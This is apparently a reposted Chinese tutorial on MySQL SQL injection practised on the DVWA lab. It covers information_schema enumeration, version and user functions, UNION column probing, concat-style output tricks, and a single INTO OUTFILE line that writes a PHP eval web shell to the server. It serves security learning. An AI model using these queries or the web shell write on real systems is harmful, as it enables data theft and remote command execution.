1 MySQL內置information schema資料庫結構
Mysql 內置的系統資料庫INFORMATION-SCHEMA , 其結構如MSSQL 中的master 資料庫, 其中記錄了MySQL中所有存在資料庫名、資料庫表、表欄位,
其中, 關鍵的三個表為:
- SCHEMATA : 存盤資料庫名的表
- Tables : 存盤資料庫以及資料庫中的表名
- columns : 存盤資料庫、表、以及表中的欄位,
1.1 schemata >>>存取資料庫名的表
- 欄位:schema_name >>>資料庫名稱
select schema_name from information_schema.schemata; #查資料庫名

1.2 tables >>>存盤表名
- 欄位:table_schema >>>表示該表名屬于哪個資料庫名
- 欄位:table_name >>>存盤表的表名
select table_name from information_schema.tables where table_schema = 'dvwa'; #查表名

1.3 columns >>>存盤的欄位名表
- 欄位:table_schema >>>該欄位所屬資料庫名
- 欄位:table_name >>>存盤所屬表的名稱
- 欄位:column_name >>>該欄位的名稱
select column_name from information_schema.columns where table_name ='users' and table_schema='dvwa'; #查欄位名

1.4 查欄位內容
select user,password from dvwa.users;

https://www.sohu.com/a/331058431_609556
2 MySQL注入常用函式和陳述句
2.1 查詢服務器主機資訊
- @@hostname 主機名稱
- @@datadir 資料庫路徑
- @@version_compile_os 作業系統版本
select @@hostname, @@datadir,@@version_compile_os;
2.2 查詢資料庫版本資訊
- select version() 資料庫版本資訊
- select @@version 資料庫版本資訊
- select @@global.version 資料庫版本資訊
- select database() 查看當前資料庫名稱
select version(),@@version,@@global.version,database();
2.3 查詢資料庫用戶資訊
- user() 系統用戶和登錄主機名
- current_user() 當前登錄用戶和登錄主機名
- system_user() 資料庫系統用戶賬戶名稱和登錄主機名
- session_user() 當前會話用戶名和登錄主機名
select user(),current_user(),system_user(),session_user() ;
2.4 列舉資料庫內容
- Select * from information_schema. schemata; / / 爆出資料庫
- Select table_name from information_schema.tables where table_schema= 'dvwa'; / / 爆出指定資料庫dvwa的所有表名
- Select column_name from information_schama.columns where table_name= 'users'; / / 爆出dvwa 指定表users 的所有欄位名
- select (user, password) from dvwa. users; / / 爆出資料庫users 內容,
- select '<?php eval($_POST[cmd])?>' into outfile '/var/www/html/dvwa/1. php'; //將< >中的內容寫到'/var/www/html/dvwa/1. php'這個檔案中去,相當于借助資料庫將內容上傳到服務器,一句話木馬
2.5 聯合查詢陳述句
- order by n / / 判斷當前查詢結果的列數, 配合union 實用,
- order by n+1; // 讓n 一直增加直到出現錯誤頁面,
- Union 聯合查詢 union select......
select user,password from dvwa.users order by 3;



3 concat, concat ws, group_concat 函式
在實際注入中, 巧妙借助concat , concat_ws , group_concat 函式, 可以將注入結果更好的顯示在頁面中,
3.1 Conacat() 和concat_ws()
- concat(str1,str2......) 沒有分隔符串聯多列結果,
- concat_ws ( separator,str1,str2......) 含有分隔符地串聯多列結果
上述兩個函式功能非常類似, 只是在分隔符上的區別.
- 應用場景: 查詢結果只有一行, 一列或多列資料,
- Concat() 和concat_ws()函式的對比, 兩者均可以將一行多列的資料連接為一列, 區別concat() 連接沒有連接符號,Concat_ws() 可以定義連接符,用分隔符將結果連接起來,如下圖所示:


注: //0x3a 是“: ” 的十六進制, 這里把它作為分隔符: 的hex 值
3.2 gcpup_concat(str1,str2,......)
- group_concat(str1,str2,......) 用逗號,串聯多行結果為一行, 每行結果用逗號串聯
- 應用場景: 查詢結果有一行或多行,一列或多列資料,group_concat()可以將多行多列查詢結果, 顯示在一行一列, 并且多行結果之間用逗號分隔,與concat_ws() 區別可以在
注: //0x3a 是“ :” 的十六進制, 在這里把它作為分隔符:的hex 值


轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/40999.html
標籤:其他
